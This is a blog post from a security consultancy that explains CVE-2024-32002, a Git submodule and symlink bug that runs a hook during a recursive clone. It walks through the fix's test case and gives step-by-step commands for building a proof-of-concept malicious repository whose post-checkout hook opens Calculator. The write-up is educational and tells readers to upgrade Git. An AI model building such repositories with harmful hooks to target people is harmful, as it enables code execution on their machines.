In this blog we will do a deep dive of CVE-2024-32002, that allowed a remote code execution (RCE) by just cloning a repo.
As per Github blog-
“CVE-2024-32002 (Critical, Windows & macOS): Git repositories with submodules can trick Git into executing a hook from the .git/ directory during a clone operation, leading to Remote Code Execution.”
Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
Upgrade it to avoid remote code execution by cloning a malicious repo.
Table of Contents
tl;dr
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
– Github Security Advisory ( GHSA-8h77-4q3w-gfgv )
Thus remote code exectuion (RCE) can be done just by cloning a specially crafted repo.
The Commit
in the NIST database on CVE-2024-32002, you’ll find reference to the code commit, where this bug was fixed. Let’s go there, here’s the commit link.
Git Commit Fixing the Issue
If you check the commit, there are two files –
- builtin/submodule–helper.c
- t/t7406-submodule-update.sh
The second file ( t/t7406-submodule-update.sh
), contains the test for ensuring that this bug is checked for automatically in further versions of git.
The way it does is by creating a file tell.tale
in the current directory, if there’s bug in git and code is executed, post cloning, that file should exist at the end of the test. That is what this whole test case is about.
We use this to create our exploit, in this case the malicious repo, that when cloned executes the code on victim’s machine.
Let’s dive into the code –
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
-
- Test Setup:
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
test_expect_success
is a function used in Git’s test framework. The test is labeled with CASE_INSENSITIVE_FS
and SYMLINKS
, indicating it’s relevant for case-insensitive file systems and systems that support symlinks. The test description is ‘submodule paths must not follow symlinks’.
- Global Configuration:
test_config_global protocol.file.allow always && test_config_global core.symlinks true &&
protocol.file.allow always
allows thefile://
protocol for Git operations.core.symlinks true
ensures Git uses symlinks, specifically relevant on Windows systems.- This is only needed because this is a self-contained test without having to spin up an HTTP server. However, it would not be needed in a real-world scenario where the submodule is simply hosted on a public site.
- Define a Path for the Tell-tale File:
tell_tale_path="$PWD/tell.tale" &&
- This sets a variable
tell_tale_path
to a file namedtell.tale
in the current directory, which will be used to detect if the post-checkout hook runs.
- This sets a variable
- Initialize a Repository (
hook
) and Create a Hook:git init hook && ( cd hook && mkdir -p y/hooks && write_script y/hooks/post-checkout <<-EOF && echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" EOF git add y/hooks/post-checkout && test_tick && git commit -m post-checkout ) &&
- Initializes a new Git repository named
hook
. - Navigates into the
hook
directory. - Creates the directory structure
y/hooks
. - Writes a
post-checkout
hook script that outputsHOOK-RUN
and writeshook-run
totell_tale_path
. - Adds and commits the
post-checkout
hook.
- Initializes a new Git repository named
- Set Hook Repository Path:
hook_repo_path="$(pwd)/hook" &&
hook_repo_path
to the absolute path of thehook
repository. - Initialize Another Repository (
captain
) and Add Submodule:git init captain && ( cd captain && git submodule add --name x/y "$hook_repo_path" A/modules/x && test_tick && git commit -m add-submodule &&
- Initialize a new Git repository named
captain
. - Navigate into the
captain
directory. - Adds the
hook
repository as a submodule underA/modules/x
with the namex/y
. - Commit the addition of the submodule.
- Initialize a new Git repository named
- Create a Symlink to
.git
Directory:printf .git >dotgit.txt && git hash-object -w --stdin <dotgit.txt >dot-git.hash && printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info && git update-index --index-info <index.info && test_tick && git commit -m add-symlink ) &&
- In this section, the test handcrafts a symlink to
.git
folder and updates it to git index. - Git index is the place where, staging things are kept. You can read more here.
- Create a file
dotgit.txt
containing.git
string. - Create a Git blob object from
dotgit.txt
and stores its hash indot-git.hash
. - Prepare an index entry for a symlink (mode
120000
) to.git
using the hash fromdot-git.hash
. - Update the Git index with this entry and then commit the addition of the symlink.
- In this section, the test handcrafts a symlink to
- Ensure the Tell-tale File is Absent and Test Cloning:
test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path"
- Checks that
tell_tale_path
does not exist. - Attempts to clone the
captain
repository recursively into a new directoryhooked
. The clone operation is expected to fail. - Verifies that the error message contains “directory not empty”.
- Ensures
tell_tale_path
is still absent, confirming the hook did not run.
- Checks that
Reconstructing the bug from the fix
- Create two empty repos – captain and hook
captain empty repo
hook empty repo
git clone
each of these onto your local machine.
git clone both the repos
hook
directory – cd hook
and create a directory – y/hooks
, with the command – mkdir -p y/hooks
. hooks
directory inside the y
folder, with the name – post-checkout
– touch ./y/hooks/post-checkout
. So now the directory structure should look like this – post-checkout
specifically, is because post-checkout
is a git hook. So with git hooks you can execute custom scripts when certain important actions occur, such as in this case, when the user checkouts code on their machine. - In the
./y/hooks/post-checkout
file add this code snippet –
#!/bin/sh
open -a Calculator
The above script opens a calculator, when executed on mac. For windows the payload would change to –
#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"
post checkout code
6. Let’s make this post-checkout
executable – git update-index --chmod=+x y/hooks/post-checkout
7. Now stage the changes, commit the changes and push it – git add . && git commit -m post-checkout && git push origin main
.
Now we are donewith the hook preparation.
Creating the captain repo
- Go into
captain
repo that we cloned earlier - Add the
hook
repo as a submodule in this repo, using the following command –git submodule add --name x/y "[email protected]:SecureMyOrg/hook.git" A/modules/x
.
- Now we will create a file
dotgit.txt
with the contents as the string –.git
- After this we create a git hash-object of the same file and create an
index.info
file with the contents of the git hash-object. The value120000
symbolises symlink in git.
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
- 5. We will use this
index.info
file to update the git index with our carefully crafted payload The index.info
file structure used in the script is specifically formatted to update the Git index with a symlink entry. Let’s break down the format and understand its components:Structure of index.info
index.info
represents an entry to be added to the Git index. The format of each line is:
<mode> <object hash> <stage>\t<path>
Where:
<mode>
: File mode, which indicates the type of file and its permissions. For symlinks, this is120000
.<object hash>
: The SHA-1 hash of the object in the Git object database. This is a 40-character hexadecimal string that uniquely identifies the content of the file or symlink target.<stage>
: The stage number, used for handling merge conflicts. It’s0
for normal entries.<path>
: The file path relative to the root of the repository’s working directory.
Example Breakdown
Here is the example line fromindex.info
in the script:
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
- Mode (
120000
):120000
is the file mode for a symlink in Git.- It indicates that the entry is a symbolic link.
- Object Hash (
%s
):- This placeholder (
%s
) is replaced by the actual object hash fromdot-git.hash
. - The hash uniquely identifies the contents of the file (in this case, the
.git
string).
- This placeholder (
- Stage (
0
):0
indicates the normal stage, meaning there are no merge conflicts for this entry.
- Path (
a
):a
is the path where the symlink will be placed in the repository.- In the context of the script, this is just a placeholder and would typically be a valid file path.
Complete Example
Let’s put this all together with a hypothetical hash: Assumedot-git.hash
contains
e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
.
The index.info
line would be:
120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 a
git ls-files --stage
. git index and current status
git commit -m "Add symlink to .git"
git push origin main
After all this, you should have this directory structure –
file structure for both the repos
Showtime
captain
repo. Here’s how we can do this – git clone --recursive [email protected]:SecureMyOrg/captain.git hooked
Impact
Any person who clones a specially crafted repo, can be made to execute a malicious code without them being any wiser. Thus a remote code execution can be achieved by just cloning the repo.
Fix
To keep your systems safe, please upgrade your git
to the latest version.
Thank you ! Hope you enjoyed reading this and learnt something as well.
About SecureMyOrg
SecureMyOrg, is a cybersecurity consulting service, with offices in the US and India. We build security for startups. If you’re someone looking for a trusted cybersecurity partner, feel free to reach out to us – LinkedIn or Email. Some of the things people reach out to us for –
- Building their cybersecurity program from scratch – setting up cloud security using cost-effective tools, SIEM for alert monitoring, building policies for the company
- Vulnerability Assessment and Penetration Testing ( VAPT ) – We have certified professionals, with certifications like OSCP, CREST – CPSA & CRT, CKA and CKS
- DevSecOps consulting
- Red Teaming activity
- Regular security audits, before product release
- Full time security engineers.
References
Relevant Posts
Kali Linux for Penetration Testing: A Comprehensive Guide -SecureMyOrg
This blog explores why Kali Linux is a favorite among ethical hackers, its compatibility with Windows, and the hardware requirements needed to harness its power. Whether you’re a seasoned cybersecurity expert or a beginner stepping into the world of ethical hacking, Kali Linux is your gateway to mastering penetration testing
Understanding Nessus: A Comprehensive Guide -SecureMyOrg
Discover the power of Nessus, a leading vulnerability scanner for IT security. Learn about its features, installation, applications, and advantages to protect your network from emerging threats. Start enhancing your cybersecurity today!
How to Use Nmap in Penetration Testing -SecureMyOrg
Master the art of network scanning with Nmap! Learn how to uncover vulnerabilities, map network topologies, and secure your systems effectively in this beginner-friendly guide.
SQLMap: Detecting and Exploiting SQL Injection Attacks -SecureMyOrg
SQL injection attacks remain one of the most pervasive threats to web applications. Learn how SQLMap, a powerful penetration testing tool, helps detect and exploit vulnerabilities to safeguard your database
Mastering Wireshark: The Ultimate Guide to Network Traffic Analysis -SecureMyOrg
From capturing packets to interpreting protocol-level details, Wireshark provides unparalleled visibility into network activity. Learn how to leverage its capabilities for comprehensive traffic analysis.
OWASP ZAP: A Comprehensive Guide to Its Capabilities and Vulnerability Detection -SecureMyOrg
APIs are the backbone of modern applications, and OWASP ZAP shines in testing API security. Detect improper access controls, authentication flaws, and unvalidated inputs with ease using its robust API testing capabilities.